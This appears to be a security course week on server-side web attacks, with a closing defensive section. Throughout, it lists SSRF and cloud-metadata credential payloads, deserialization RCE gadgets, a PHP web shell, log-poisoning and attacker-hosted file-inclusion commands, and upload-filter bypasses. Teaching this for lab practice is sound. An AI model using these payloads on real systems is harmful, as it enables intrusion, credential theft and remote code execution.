CSY203 Week 09 Intermediate

Week Content

Secure Software & Web Security

Track your progress through this week's content

Opening Framing: Beyond the Web Application

Web applications don't exist in isolation. They connect to internal services, cloud metadata endpoints, databases, and other backend systems. Server-side vulnerabilities exploit these connections, turning the web server into a pivot point for deeper attacks.

Server-Side Request Forgery (SSRF) makes the server fetch resources on your behalf—accessing internal networks you can't reach directly. Insecure deserialization turns data into code execution. File inclusion vulnerabilities read or execute files the application shouldn't access.

This week covers the server-side vulnerability classes that provide access beyond the web application itself.

Key insight: The web server has access you don't. Server-side vulnerabilities let you abuse that access.

1) Server-Side Request Forgery (SSRF)

Making the server request resources for you: 

SSRF Concept:

Application fetches URL provided by user:
GET /fetch?url=https://example.com/image.jpg
Server downloads and returns image

Malicious request:
GET /fetch?url=http://localhost/admin
Server fetches its own admin panel!

Or:
GET /fetch?url=http://169.254.169.254/latest/meta-data/
Server fetches AWS metadata (credentials!)

SSRF Targets: 

# Localhost services:
http://localhost/admin
http://127.0.0.1/server-status
http://127.0.0.1:8080/manager

# Internal network:
http://192.168.1.1/
http://10.0.0.1/
http://172.16.0.1/

# Cloud metadata (critical!):
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data

# Google Cloud
http://metadata.google.internal/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Alternative localhost representations:
http://127.1/
http://0.0.0.0/
http://[::1]/
http://localhost.localnet/
http://2130706433/ (decimal IP)

Finding SSRF: 

# Features that might fetch URLs:

- PDF generators
- Image/file downloaders
- Webhooks
- Import from URL
- Preview features
- API integrations
- Proxy functionality

# Parameters to test:
url=
uri=
path=
dest=
redirect=
target=
link=
fetch=
site=
html=
data=
load=
request=

SSRF Bypass Techniques: 

# If localhost is blocked:

# Alternative representations:
127.0.0.1 → 127.1
127.0.0.1 → 2130706433 (decimal)
127.0.0.1 → 0x7f000001 (hex)
127.0.0.1 → 017700000001 (octal)
127.0.0.1 → 127.0.0.1.nip.io

# DNS rebinding:
# Domain that resolves to 127.0.0.1
http://attacker-controlled-domain.com/
# First resolves to external IP (passes check)
# Then resolves to 127.0.0.1 (fetches internal)

# URL parsing confusion:
http://expected.com@evil.com/
http://evil.com#expected.com
http://expected.com.evil.com/

# Protocol wrappers:
file:///etc/passwd
gopher://localhost:6379/_*1%0d%0a$8%0d%0aflushall
dict://localhost:6379/INFO

Blind SSRF: 

# When you don't see the response:

# Out-of-band detection:
url=http://attacker-server.com/ssrf-test

# Check your server logs for request
# Use Burp Collaborator

# Time-based detection:
url=http://10.0.0.1:22/
# Port open = fast response
# Port closed/filtered = timeout

# Internal port scanning via SSRF:
for port in {1..1000}; do
  curl "https://target.com/fetch?url=http://localhost:$port/"
done
# Different response times/errors reveal open ports

Key insight: SSRF is critical in cloud environments. Metadata endpoints can leak credentials for complete takeover.

2) Insecure Deserialization

When untrusted data becomes objects: 

Deserialization Concept:

Serialization: Object → Bytes (for storage/transfer)
Deserialization: Bytes → Object

If attacker controls the serialized data:
Malicious bytes → Dangerous object → Code execution

# The object reconstruction can trigger methods
# Those methods can execute arbitrary code

Identifying Serialized Data: 

# Java serialized objects:
Start with: AC ED 00 05 (hex)
Base64: rO0AB...

# PHP serialized:
O:4:"User":2:{s:4:"name";s:5:"admin"...
a:2:{i:0;s:4:"test";i:1;s:5:"value";}

# Python pickle:
(dp0\nS'name'\np1\nS'admin'...
Base64 encoded pickle common

# .NET ViewState:
Often starts with: /wEP...

# Ruby Marshal:
\x04\x08...

# Node.js (node-serialize):
{"rce":"_$$ND_FUNC$$_function(){...}()"}

PHP Object Injection: 

# PHP deserializes with unserialize()

# Vulnerable code:
$data = unserialize($_COOKIE['user_data']);

# If application has class with dangerous __destruct or __wakeup:

class Logger {
    public $logFile;
    public $logData;
    
    function __destruct() {
        file_put_contents($this->logFile, $this->logData);
    }
}

# Payload to write web shell:
O:6:"Logger":2:{s:7:"logFile";s:18:"/var/www/shell.php";s:7:"logData";s:30:"<?php system($_GET['cmd']); ?>";}

# When deserialized and object is destroyed:
# Writes shell.php!

Java Deserialization: 

# Java is notorious for deserialization RCE
# Libraries like Commons Collections are exploitable

# Detection:
# Look for base64 starting with rO0AB
# Or hex starting with AC ED 00 05

# Exploitation with ysoserial:
java -jar ysoserial.jar CommonsCollections5 'id' | base64

# Common gadget chains:
- CommonsCollections1-7
- Spring1-2
- Groovy1
- JRMPClient

# Where to inject:
- Cookies (often viewstate)
- Hidden form fields
- API parameters
- JMX services
- RMI

Detection and Tools: 

# Burp extension: Java Deserialization Scanner
# Tests for common gadget chains

# ysoserial - Generate payloads:
java -jar ysoserial.jar [gadget] '[command]'

# PHP: PHPGGC - PHP Generic Gadget Chains
./phpggc Laravel/RCE1 system id

# Python: Generate pickle payloads
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())

# Detection payloads (DNS callback):
# If DNS request received = deserializes attacker data

Key insight: Deserialization RCE is powerful but requires vulnerable classes (gadget chains) to be present.

3) File Inclusion Vulnerabilities

Including files the application shouldn't access: 

File Inclusion Types:

Local File Inclusion (LFI):
- Include files from the server
- Read sensitive files
- Sometimes achieve RCE

Remote File Inclusion (RFI):
- Include files from remote server
- Direct RCE if enabled
- Requires allow_url_include (PHP)

Local File Inclusion (LFI): 

# Vulnerable code (PHP):
include($_GET['page'] . '.php');

# Normal: ?page=about
# Includes: about.php

# Attack: ?page=../../../etc/passwd
# Tries to include: ../../../etc/passwd.php

# Null byte bypass (older PHP):
?page=../../../etc/passwd%00
# Null byte terminates string before .php

# Path truncation:
?page=../../../etc/passwd...........(many chars)
# May truncate .php extension

# PHP wrappers:
?page=php://filter/convert.base64-encode/resource=config
# Returns base64 of config.php

?page=php://input
# POST body becomes included content
# POST: <?php system('id'); ?>

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# Base64 of: <?php system('id'); ?>

Interesting Files to Include: 

# Linux:
/etc/passwd
/etc/shadow (if readable)
/etc/hosts
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/auth.log

# Web application:
../config.php
../wp-config.php
../.env
../application.properties

# Windows:
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
C:\xampp\apache\logs\access.log

LFI to RCE: 

# Log poisoning:

1. Inject PHP into log file:
   # Via User-Agent:
   curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

2. Include the log file:
   ?page=../../../var/log/apache2/access.log&cmd=id

# Session file poisoning:
1. Set session variable containing PHP:
   # If session stores user input

2. Include session file:
   ?page=../../../var/lib/php/sessions/sess_[session_id]

# /proc/self/environ:
1. Inject PHP via User-Agent header
2. Include /proc/self/environ
   ?page=../../../proc/self/environ

Remote File Inclusion: 

# Requires allow_url_include=On (rare)

# Host shell.txt on attacker server:
<?php system($_GET['cmd']); ?>

# Include remote file:
?page=http://attacker.com/shell.txt

# SMB share (Windows):
?page=\\attacker\share\shell.php

# Data wrapper (if allowed):
?page=data://text/plain,<?php system('id'); ?>

Key insight: LFI reads files; with creativity it achieves RCE. RFI is rare but gives immediate code execution.

4) Path Traversal

Accessing files outside intended directories: 

Path Traversal Concept:

Application serves files from specific directory:
/var/www/uploads/

Request: /download?file=report.pdf
Serves: /var/www/uploads/report.pdf

Attack: /download?file=../../../etc/passwd
Serves: /etc/passwd

# Different from LFI: reads file, doesn't execute

Traversal Sequences: 

# Basic traversal:
../
..\/
..\

# URL encoded:
%2e%2e%2f       (../)
%2e%2e/         (../)
..%2f           (../)
%2e%2e%5c       (..\)

# Double URL encoded:
%252e%252e%252f

# UTF-8 encoded:
%c0%ae%c0%ae%c0%af
..%c0%af

# Mixed case (Windows):
..\/
..\

# Bypassing filters:
....//          (if ../ removed once)
....\/
..../
.../

Testing Path Traversal: 

# Common parameters:
file=
path=
folder=
document=
root=
pg=
style=
template=
php_path=
doc=

# Test payloads:
../../../etc/passwd
..\..\..\..\windows\win.ini
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd

# Confirm with known file:
# Linux: /etc/passwd (contains "root:")
# Windows: C:\Windows\win.ini (contains "[fonts]")

Path Traversal Exploitation: 

# Read sensitive files:

# Source code:
../../../var/www/html/config.php
../../../app/config/database.yml

# Credentials:
../../../etc/shadow
../../../home/user/.ssh/id_rsa
../../../root/.bash_history

# Configuration:
../../../etc/nginx/nginx.conf
../../../etc/apache2/apache2.conf

# Application secrets:
../../../var/www/html/.env
../../../opt/app/config/secrets.yml

# Combine with other vulns:
# Read source → Find more vulnerabilities
# Read credentials → Login/escalate

Key insight: Path traversal reveals files that expose further vulnerabilities—source code, credentials, configurations.

5) File Upload Vulnerabilities

Uploading malicious files to achieve code execution: 

File Upload Attacks:

Goal: Upload file that executes as code

Challenges:
- Extension restrictions
- Content-Type validation
- File content inspection
- Upload directory restrictions

Bypass Techniques: 

# Extension bypasses:

# Double extensions:
shell.php.jpg
shell.jpg.php

# Null byte (older systems):
shell.php%00.jpg
shell.php\x00.jpg

# Case variation:
shell.PHP
shell.pHp

# Alternative extensions:
.php3, .php4, .php5, .phtml, .phar
.asp, .aspx, .ashx, .asmx
.jsp, .jspx

# With dots/spaces:
shell.php.
shell.php (space)
shell.php....

# .htaccess upload (Apache):
# Upload .htaccess:
AddType application/x-httpd-php .jpg
# Then upload shell.jpg - executes as PHP

Content-Type Bypass: 

# Change Content-Type header:

Original:
Content-Type: application/x-php

Change to:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif

# Magic bytes (file signature):
# Add image header before PHP:

GIF89a
<?php system($_GET['cmd']); ?>

# Or PNG header:
\x89PNG\r\n\x1a\n
<?php system($_GET['cmd']); ?>

# JPEG header:
\xFF\xD8\xFF\xE0
<?php system($_GET['cmd']); ?>

Upload Location Discovery: 

# Find where files are uploaded:

# Response may reveal path:
{"path": "/uploads/abc123.jpg"}

# Predictable paths:
/uploads/
/images/
/files/
/attachments/
/media/

# Filename patterns:
/uploads/[original_name]
/uploads/[random]/[original_name]
/uploads/[timestamp]_[name]
/uploads/[hash].[extension]

# Brute force discovery:
ffuf -u https://target.com/uploads/FUZZ -w filenames.txt

Advanced Upload Attacks: 

# ImageTragick (CVE-2016-3714):
# Malicious image processed by ImageMagick

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id")'
pop graphic-context

# SVG with XSS/XXE:
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

# ZIP slip (path traversal in archives):
# Filename in ZIP: ../../../var/www/html/shell.php
# Extracted outside intended directory

# Polyglot files:
# File that's valid as both image and PHP
# Passes image validation, executes as PHP

Key insight: File upload with execution = instant RCE. Bypass validation through extension and content tricks.

Real-World Context: Server-Side Attacks

Server-side vulnerabilities in practice:

Capital One Breach (2019): SSRF vulnerability allowed access to AWS metadata, exposing credentials that led to breach of 100+ million records. SSRF in cloud environments is especially dangerous.

Deserialization Epidemics: Java deserialization vulnerabilities have affected countless applications—Jenkins, WebLogic, JBoss. Once a gadget chain exists, exploitation becomes trivial.

File Upload Hall of Fame: Numerous breaches have resulted from file upload vulnerabilities. A single web shell provides persistent access and lateral movement opportunities.

MITRE ATT&CK Mapping:

  • T1190 - Exploit Public-Facing Application: SSRF, file inclusion
  • T1505.003 - Web Shell: File upload attacks
  • T1083 - File and Directory Discovery: Path traversal

Key insight: Server-side vulnerabilities often provide the deepest access. SSRF to cloud metadata is a premium finding.

Guided Lab: Server-Side Vulnerability Testing

Practice server-side attacks on vulnerable applications.

Step 1: SSRF Testing

# Find URL fetching functionality
# Test with Burp Collaborator or own server:
url=http://your-server.com/ssrf-test

# If request received, SSRF exists

# Test internal access:
url=http://127.0.0.1/
url=http://localhost:8080/
url=http://169.254.169.254/latest/meta-data/

Step 2: File Inclusion Testing

# Find include/require parameters:
?page=home
?file=report
?template=default

# Test LFI:
?page=../../../etc/passwd
?page=....//....//....//etc/passwd
?page=php://filter/convert.base64-encode/resource=index

Step 3: Path Traversal Testing

# Find file download/read parameters:
?file=document.pdf
?path=images/logo.png

# Test traversal:
?file=../../../etc/passwd
?file=....//....//etc/passwd

Step 4: File Upload Testing

# Upload simple PHP shell:
<?php system($_GET['cmd']); ?>

# Try bypass techniques:
- shell.php.jpg
- shell.phtml
- Change Content-Type
- Add GIF89a header

# Find uploaded file and test execution

Step 5: PortSwigger Labs

# Complete these labs:
# 1. Basic SSRF against localhost
# 2. SSRF with blacklist-based filter bypass
# 3. File path traversal, simple case
# 4. Remote code execution via web shell upload

# https://portswigger.net/web-security

Reflection (mandatory)

  1. Which server-side vulnerability has the highest impact?
  2. How does cloud infrastructure change SSRF risk?
  3. What made your file upload bypass successful?
  4. How would you defend against these attacks?

Week 09 Quiz

Test your understanding of Server-Side Vulnerabilities.

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Take Quiz

Week 9 Outcome Check

By the end of this week, you should be able to:

Next week: API Security Testing—attacking the modern application interface.

🎯 Hands-On Labs (Free & Essential)

Apply what you learned through practical server-side vulnerability testing. Complete these labs before moving to reading resources.

🕷️ PortSwigger: SSRF (Server-Side Request Forgery) - ALL 7 LABS

What you'll do: Master SSRF attacks through comprehensive hands-on practice:

Basic SSRF (Labs 1-3):
• SSRF against local server
• SSRF against backend systems
• SSRF with blacklist-based input filter bypass

Advanced SSRF (Labs 4-7):
• SSRF with whitelist-based input filter bypass
• SSRF via open redirection vulnerability
• Blind SSRF with out-of-band detection
• Blind SSRF with Shellshock exploitation

Why it matters: SSRF lets attackers make the server perform requests on their behalf—accessing internal systems, cloud metadata services (AWS IMDS), and bypassing firewalls. These 7 labs teach detection, exploitation, and bypass techniques essential for modern web/cloud pentesting.
Time estimate: 2-3 hours

Start PortSwigger SSRF Labs →

🕷️ PortSwigger: File Upload Vulnerabilities (ALL 7 LABS)

What you'll do: Master file upload attacks for remote code execution:

RCE via File Upload (Labs 1-4):
• No restrictions on file type
• Bypass content-type validation
• Bypass path traversal defenses
• Bypass extension blacklist

Advanced Bypasses (Labs 5-7):
• Obfuscated file extensions
• Bypass whitelist with polyglot files
• Race condition in file upload validation

Why it matters: File upload vulns are a direct path to RCE. Learn to bypass validation (content-type, extension, magic bytes), exploit race conditions, and upload web shells—one of the most impactful vulnerabilities in web applications.
Time estimate: 2-3 hours

Start PortSwigger File Upload Labs →

🕷️ PortSwigger: Insecure Deserialization (ALL 10 LABS)

What you'll do: Learn deserialization attacks across multiple languages:

PHP Deserialization (Labs 1-4):
• Modifying serialized objects
• Exploiting magic methods for RCE
• Arbitrary object injection

Java Deserialization (Labs 5-8):
• Java deserialization with Apache Commons
• Exploiting gadget chains
• POJO reference manipulation

Advanced Techniques (Labs 9-10):
• Custom gadget chains
• Exploiting application functionality

Why it matters: Insecure deserialization is often underestimated but can lead to RCE. These 10 labs teach you to identify serialized data, manipulate objects, and exploit gadget chains in PHP and Java—critical for testing enterprise applications.
Time estimate: 4-5 hours (complex topic)

Start PortSwigger Deserialization Labs →

🎮 TryHackMe: SSRF

What you'll do: Practice SSRF exploitation through guided challenges. Learn to identify SSRF, exploit internal services, access cloud metadata, and chain SSRF with other vulnerabilities.

Why it matters: TryHackMe provides practical SSRF scenarios with immediate feedback. Perfect for understanding how SSRF works in real applications and learning AWS/cloud metadata exploitation.
Time estimate: 1-1.5 hours

Start TryHackMe SSRF →

💡 Lab Strategy: Start with SSRF (easier concept) to understand server-side attacks. Then tackle File Upload for RCE practice. Finally, study Deserialization (most complex, requires understanding object serialization). PortSwigger's 24 combined labs cover critical server-side attacks: 750 total XP, 9-12 hours of advanced exploitation training!

🛡️ Defensive Architecture & Secure Design Patterns

Server-side vulnerabilities are dangerous because the server is trusted by internal systems. Defensive architecture must constrain what the server can reach and execute.

SSRF and Network Segmentation

SSRF defense patterns:
- Block access to metadata IPs (169.254.169.254)
- Use allowlists for outbound requests
- Enforce DNS pinning and IP validation
- Segment internal services behind private networks

Secure File Handling

File upload controls:
- Validate extensions AND MIME types
- Store uploads outside web root
- Rename files and strip metadata
- Scan files before serving
- Serve files via proxy, not direct access

Real-World Breach: Equifax 2017 (Struts RCE)

A deserialization-like RCE in Apache Struts led to the compromise of 140+ million records. Lessons learned: patch management, WAF virtual patching, least-privilege service accounts, and segmentation reduce impact when server-side bugs are exploited.

Defensive Labs

Lab: Implement SSRF Egress Controls

Add outbound URL allowlists and block metadata IP ranges. Validate with SSRF probes that should now fail.

Lab: Secure File Upload Pipeline

Enforce strict extension/MIME checks, rename uploads, and store outside web root. Verify upload execution is blocked.

Lab: Harden Deserialization and File Reads

Disable unsafe deserialization, use safe formats (JSON), and restrict file read paths with allowlists.

📚 Building on CSY101 Week-13: Threat model server-side trust boundaries and attack chains. CSY101 Week-14: Map controls to NIST 800-53 (SI/SA) and CIS Controls. CSY104 Week-11: Use CVSS to prioritize server-side fixes.

Reading Resources (Free + Authoritative)

Complete the required resources to build your foundation.

Lab: Comprehensive Server-Side Assessment

Goal: Test for and exploit multiple server-side vulnerability types.

Part 1: SSRF Assessment

  1. Identify URL fetching functionality
  2. Test for basic SSRF
  3. Attempt localhost access
  4. Test cloud metadata access
  5. Try bypass techniques

Part 2: File Inclusion

  1. Find include parameters
  2. Test LFI with traversal
  3. Test PHP wrappers
  4. Attempt RCE via log poisoning

Part 3: Path Traversal

  1. Find file access parameters
  2. Test traversal sequences
  3. Read sensitive files
  4. Document encoding bypasses needed

Part 4: File Upload

  1. Identify upload functionality
  2. Test restriction bypasses
  3. Upload and execute web shell
  4. Document successful techniques

Part 5: Attack Chains

  1. Combine vulnerabilities for greater impact
  2. Document attack paths
  3. Assess overall server-side security

Deliverable (submit):

Checkpoint Questions

  1. What is SSRF and why is it critical in cloud environments?
  2. What is the difference between LFI and path traversal?
  3. How can LFI be escalated to RCE?
  4. What makes insecure deserialization dangerous?
  5. What are three techniques for bypassing file upload restrictions?
  6. How would you detect blind SSRF?

Weekly Reflection

Reflection Prompt (200-300 words):

This week you learned server-side vulnerabilities—attacks that exploit the server's trusted position to access internal resources, read files, and execute code.

Reflect on these questions:

A strong reflection will connect vulnerability exploitation to defensive strategies and real-world impact.

Verified Resources & Videos

Server-side vulnerabilities provide deep access—to internal systems, to cloud credentials, to code execution. The techniques you've learned apply to modern applications everywhere. SSRF in cloud environments is particularly critical. Next week: API security testing, where these server-side concepts meet modern application architecture.

← Previous: Week 08 Next: Week 10 →